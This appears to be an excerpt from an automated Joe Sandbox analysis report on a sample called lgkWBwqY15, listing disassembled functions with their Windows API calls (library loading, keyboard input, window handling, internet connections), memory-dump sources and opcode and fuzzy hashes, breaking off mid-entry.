                                                                                      Function 005FBADD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadLibraryA.KERNEL32(kernel32.dll,00000000,005FBAD3,00000001,005FB6EE,?,0063DC00), ref: 005FBAEB
                                                                                      • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 005FBAFD
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressLibraryLoadProc
                                                                                      • String ID: GetModuleHandleExW$kernel32.dll
                                                                                      • API String ID: 2574300362-199464113
                                                                                      • Opcode ID: f3b9bb4b7c79879686ca9fcd8ff94a55080f7443eca291ea2b29eb5c421e3dc1
                                                                                      • Instruction ID: 0e3ca1e47f61a75f32c069d21bd441b20d86ca0b277aad6336613d978aba9e95
                                                                                      • Opcode Fuzzy Hash: f3b9bb4b7c79879686ca9fcd8ff94a55080f7443eca291ea2b29eb5c421e3dc1
                                                                                      • Instruction Fuzzy Hash: F6D0A770800B13DFE7305F20EC4CB627AD5BB00381F118419ED43D3550DB74C884C610
                                                                                      Function 00603BDB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadLibraryA.KERNEL32(advapi32.dll,?,00603BD1,?,00603E06), ref: 00603BE9
                                                                                      • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00603BFB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressLibraryLoadProc
                                                                                      • String ID: RegDeleteKeyExW$advapi32.dll
                                                                                      • API String ID: 2574300362-4033151799
                                                                                      • Opcode ID: 1e52a5d20ecc39df82e084840ad6a5d9faf8e45e93b613133fa7c04969814a9f
                                                                                      • Instruction ID: 0ba0cdbf682e6f87816a917bc65bd5fcd83e8e9695d09e1dcb33d292ad0579dd
                                                                                      • Opcode Fuzzy Hash: 1e52a5d20ecc39df82e084840ad6a5d9faf8e45e93b613133fa7c04969814a9f
                                                                                      • Instruction Fuzzy Hash: 72D0A7B0440B22DFE7345F62E80C783BAFAAF0131AF118459E845E2790DAB0C4C48E10
                                                                                      Function 005D9B30 Relevance: 6.3, APIs: 4, Instructions: 306COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: 7e5967a0ad3159024c35938b2d47964010a5505aacd501809eeeb2b37fcb8ee3
                                                                                      • Instruction ID: bccc8c05d1851e02a11122b7542d83ddd057addfd72b95bfb5f2a7d8e03b29e5
                                                                                      • Opcode Fuzzy Hash: 7e5967a0ad3159024c35938b2d47964010a5505aacd501809eeeb2b37fcb8ee3
                                                                                      • Instruction Fuzzy Hash: 00C15D75A1021AEFCB24DF98C894AAEBBB9FF48704F10459AE905EB351D730DE41DB90
                                                                                      Function 005FAA84 Relevance: 6.3, APIs: 4, Instructions: 268COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CoInitialize.OLE32(00000000), ref: 005FAAB4
                                                                                      • CoUninitialize.OLE32 ref: 005FAABF
                                                                                        • Part of subcall function 005E0213: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 005E027B
                                                                                      • VariantInit.OLEAUT32(?), ref: 005FAACA
                                                                                      • VariantClear.OLEAUT32(?), ref: 005FAD9D
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                                                      • String ID:
                                                                                      • API String ID: 780911581-0
                                                                                      • Opcode ID: b1c01214b3805b24797260cf96b81687c2fdfb6ea2e45a0246c802b7676e571b
                                                                                      • Instruction ID: a64aaddcf144b339ab0bc8cbc1c626120d60ff3fbcc2e4e61f15893115c89119
                                                                                      • Opcode Fuzzy Hash: b1c01214b3805b24797260cf96b81687c2fdfb6ea2e45a0246c802b7676e571b
                                                                                      • Instruction Fuzzy Hash: 61A15A752047069FCB10EF14C485B6EBBE5BF89310F148849FA9A9B3A1CB34ED04CB96
                                                                                      Function 005D91CC Relevance: 6.2, APIs: 4, Instructions: 201memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Variant$AllocClearCopyInitString
                                                                                      • String ID:
                                                                                      • API String ID: 2808897238-0
                                                                                      • Opcode ID: e9891fc20b15827cfe1ac54791a32a5a37e06d627687c261d8ebee5aee8498cb
                                                                                      • Instruction ID: 610d35085016c06403dac3b8e92d10006a0722a43364c2bd44e1a530b56bba11
                                                                                      • Opcode Fuzzy Hash: e9891fc20b15827cfe1ac54791a32a5a37e06d627687c261d8ebee5aee8498cb
                                                                                      • Instruction Fuzzy Hash: C5518E34600706ABDB34AF6ED899A6EBBE5BF85310F208C1FE546CB3D1DB7098808715
                                                                                      Function 005C365B Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _memset$__filbuf__getptd_noexit_memcpy_s
                                                                                      • String ID:
                                                                                      • API String ID: 3877424927-0
                                                                                      • Opcode ID: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
                                                                                      • Instruction ID: deeed101124781d309ba64c8561a07fcdb4ca19c2de900c5ee738f2c0196d865
                                                                                      • Opcode Fuzzy Hash: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
                                                                                      • Instruction Fuzzy Hash: 7A5162B4A0030AAFDB249FE98985F6E7FA5FB40320F24C62DE825962D0D7759F549B40
                                                                                      Function 0060C4D7 Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetWindowRect.USER32(01016318,?), ref: 0060C544
                                                                                      • ScreenToClient.USER32(?,00000002), ref: 0060C574
                                                                                      • MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 0060C5DA
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$ClientMoveRectScreen
                                                                                      • String ID:
                                                                                      • API String ID: 3880355969-0
                                                                                      • Opcode ID: 4683e38ae636a2bba025f39b25fd300c237a402a4739901993b2c4cda49849fd
                                                                                      • Instruction ID: 0c7cedd66d9e233a84e32a420f63dc195dc43f72717e13ef09add41f2f8e0b84
                                                                                      • Opcode Fuzzy Hash: 4683e38ae636a2bba025f39b25fd300c237a402a4739901993b2c4cda49849fd
                                                                                      • Instruction Fuzzy Hash: 98516A79A00205EFCF25DF68C880AAE7BB7FB55320F248659F8659B290D770ED41CB90
                                                                                      Function 005DC410 Relevance: 6.1, APIs: 4, Instructions: 130windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 005DC462
                                                                                      • __itow.LIBCMT ref: 005DC49C
                                                                                        • Part of subcall function 005DC6E8: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 005DC753
                                                                                      • SendMessageW.USER32(?,0000110A,00000001,?), ref: 005DC505
                                                                                      • __itow.LIBCMT ref: 005DC55A
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$__itow
                                                                                      • String ID:
                                                                                      • API String ID: 3379773720-0
                                                                                      • Opcode ID: 786a0232fd56a693dd3e2ba15d11037c69ef022c46a0657cd55a486e3906a423
                                                                                      • Instruction ID: a0830c8817715b146085ae11125ed25f8349e8a5d044d7f42be6538c0b1cbef3
                                                                                      • Opcode Fuzzy Hash: 786a0232fd56a693dd3e2ba15d11037c69ef022c46a0657cd55a486e3906a423
                                                                                      • Instruction Fuzzy Hash: 7841847160060AAFDF21DF58D855FEE7FB9BF8A700F00005AF905A7282DB719A45CBA1
                                                                                      Function 005E390C Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 005E3966
                                                                                      • SetKeyboardState.USER32(00000080,?,00000001), ref: 005E3982
                                                                                      • PostMessageW.USER32(00000000,00000102,?,00000001), ref: 005E39EF
                                                                                      • SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 005E3A4D
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: KeyboardState$InputMessagePostSend
                                                                                      • String ID:
                                                                                      • API String ID: 432972143-0
                                                                                      • Opcode ID: 7f4b514711298d7f800ae9e8fbc3be7909738a2dbd2d52bc7501ff0c8fd3de18
                                                                                      • Instruction ID: c970be8c508253ef8932ce1a6e8e5dac78d712047938d877c131c1a31d31798c
                                                                                      • Opcode Fuzzy Hash: 7f4b514711298d7f800ae9e8fbc3be7909738a2dbd2d52bc7501ff0c8fd3de18
                                                                                      • Instruction Fuzzy Hash: 24410B70A042986AEF388F66C80DBFDBFB9BB55310F04015AE5C1A71C2C7B58E85D765
                                                                                      Function 0060B544 Relevance: 6.1, APIs: 4, Instructions: 108COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0060B5D1
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: InvalidateRect
                                                                                      • String ID:
                                                                                      • API String ID: 634782764-0
                                                                                      • Opcode ID: 953902da449058505b0d5eaad0560238fa39ddd946329b549c02b8f56b75c212
                                                                                      • Instruction ID: fb5ea3ca898e2cd836bebbda15d4e39e26ad86174346ec0c5b0c3de1ac25b4a4
                                                                                      • Opcode Fuzzy Hash: 953902da449058505b0d5eaad0560238fa39ddd946329b549c02b8f56b75c212
                                                                                      • Instruction Fuzzy Hash: E0310D34690204BFEF398F18CC89FEA7B67AB06310F28E511FA01D62E1C771A9419A51
                                                                                      Function 0060D7DE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • ClientToScreen.USER32(?,?), ref: 0060D807
                                                                                      • GetWindowRect.USER32(?,?), ref: 0060D87D
                                                                                      • PtInRect.USER32(?,?,0060ED5A), ref: 0060D88D
                                                                                      • MessageBeep.USER32(00000000), ref: 0060D8FE
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Rect$BeepClientMessageScreenWindow
                                                                                      • String ID:
                                                                                      • API String ID: 1352109105-0
                                                                                      • Opcode ID: bb2d75715ae9ee3be7be12e44fc520048121a207a760b7b7f0a51b71295731f0
                                                                                      • Instruction ID: 21600d5a334f95acaa287716e0a1ab8f3893664cb569454703a1e027ff13b272
                                                                                      • Opcode Fuzzy Hash: bb2d75715ae9ee3be7be12e44fc520048121a207a760b7b7f0a51b71295731f0
                                                                                      • Instruction Fuzzy Hash: 86417B74A40219EFCB19DF98D884AAABBB6FB45310F1882A9E415DB2A0D330E945CF50
                                                                                      Function 005E3A61 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetKeyboardState.USER32(?,7608C0D0,?,00008000), ref: 005E3AB8
                                                                                      • SetKeyboardState.USER32(00000080,?,00008000), ref: 005E3AD4
                                                                                      • PostMessageW.USER32(00000000,00000101,00000000,?), ref: 005E3B34
                                                                                      • SendInput.USER32(00000001,?,0000001C,7608C0D0,?,00008000), ref: 005E3B92
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: KeyboardState$InputMessagePostSend
                                                                                      • String ID:
                                                                                      • API String ID: 432972143-0
                                                                                      • Opcode ID: bff74a3965d28fc9944d9f13d295392471b5a960cb729e10b15389eab446e099
                                                                                      • Instruction ID: e7a00b33ac9e2ac5ffebc16af8344a38c8590296b7fda7684f076870fda83129
                                                                                      • Opcode Fuzzy Hash: bff74a3965d28fc9944d9f13d295392471b5a960cb729e10b15389eab446e099
                                                                                      • Instruction Fuzzy Hash: 5A3106309002D8AEEF388B66881DBFD7FAEBB55310F04015AE4C2A72D1C7B58B45C761
                                                                                      Function 005D4004 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 005D4038
                                                                                      • __isleadbyte_l.LIBCMT ref: 005D4066
                                                                                      • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 005D4094
                                                                                      • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 005D40CA
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                      • String ID:
                                                                                      • API String ID: 3058430110-0
                                                                                      • Opcode ID: a23dae3c6424313e02dcba548ec24aeb97ee330e4db98c21e0b68298f64d587a
                                                                                      • Instruction ID: a1a281c87efc567241ade04ab316e5d00e80967987da6d107bf3e01e74712578
                                                                                      • Opcode Fuzzy Hash: a23dae3c6424313e02dcba548ec24aeb97ee330e4db98c21e0b68298f64d587a
                                                                                      • Instruction Fuzzy Hash: 2331AE31600246EFDB31DF68C849BAA7FA5BF41310F15842BE6659F2A1E731E891DF90
                                                                                      Function 00607CA5 Relevance: 6.1, APIs: 4, Instructions: 93COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetForegroundWindow.USER32 ref: 00607CB9
                                                                                        • Part of subcall function 005E5F55: GetWindowThreadProcessId.USER32(?,00000000), ref: 005E5F6F
                                                                                        • Part of subcall function 005E5F55: GetCurrentThreadId.KERNEL32 ref: 005E5F76
                                                                                        • Part of subcall function 005E5F55: AttachThreadInput.USER32(00000000,?,005E781F), ref: 005E5F7D
                                                                                      • GetCaretPos.USER32(?), ref: 00607CCA
                                                                                      • ClientToScreen.USER32(00000000,?), ref: 00607D03
                                                                                      • GetForegroundWindow.USER32 ref: 00607D09
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                                      • String ID:
                                                                                      • API String ID: 2759813231-0
                                                                                      • Opcode ID: eeb60fdf7ac33b690f75e174d6346fdac3303951ef121818b81827acfcaeaae6
                                                                                      • Instruction ID: cf3f5cd96420fa11951653f5d7db5dbeaedc19f1eda84fcef76b23903c3472b7
                                                                                      • Opcode Fuzzy Hash: eeb60fdf7ac33b690f75e174d6346fdac3303951ef121818b81827acfcaeaae6
                                                                                      • Instruction Fuzzy Hash: 5F311E71D00109AFDB10EFA5C8859EFBFF9FF94314B108466E855E3211DA31AE058FA0
                                                                                      Function 0060F1D7 Relevance: 6.1, APIs: 4, Instructions: 80windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB34E: GetWindowLongW.USER32(?,000000EB), ref: 005BB35F
                                                                                      • GetCursorPos.USER32(?), ref: 0060F211
                                                                                      • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0061E4C0,?,?,?,?,?), ref: 0060F226
                                                                                      • GetCursorPos.USER32(?), ref: 0060F270
                                                                                      • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0061E4C0,?,?,?), ref: 0060F2A6
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                                                      • String ID:
                                                                                      • API String ID: 2864067406-0
                                                                                      • Opcode ID: 867bd6f92ac0f7fb70379cd26ebcf5ff75099771300e9f93490a88d70a2e5acb
                                                                                      • Instruction ID: bb6ab03eeaf0df69c5e54f38b9a550e047e60759076830340c968dcddbaf2831
                                                                                      • Opcode Fuzzy Hash: 867bd6f92ac0f7fb70379cd26ebcf5ff75099771300e9f93490a88d70a2e5acb
                                                                                      • Instruction Fuzzy Hash: 9B218D39500418FFCB298F94C858EEB7BB6EB4A310F084069F9059B6A1D7719A51DBA0
                                                                                      Function 005F431C Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 005F4358
                                                                                        • Part of subcall function 005F43E2: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 005F4401
                                                                                        • Part of subcall function 005F43E2: InternetCloseHandle.WININET(00000000), ref: 005F449E
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
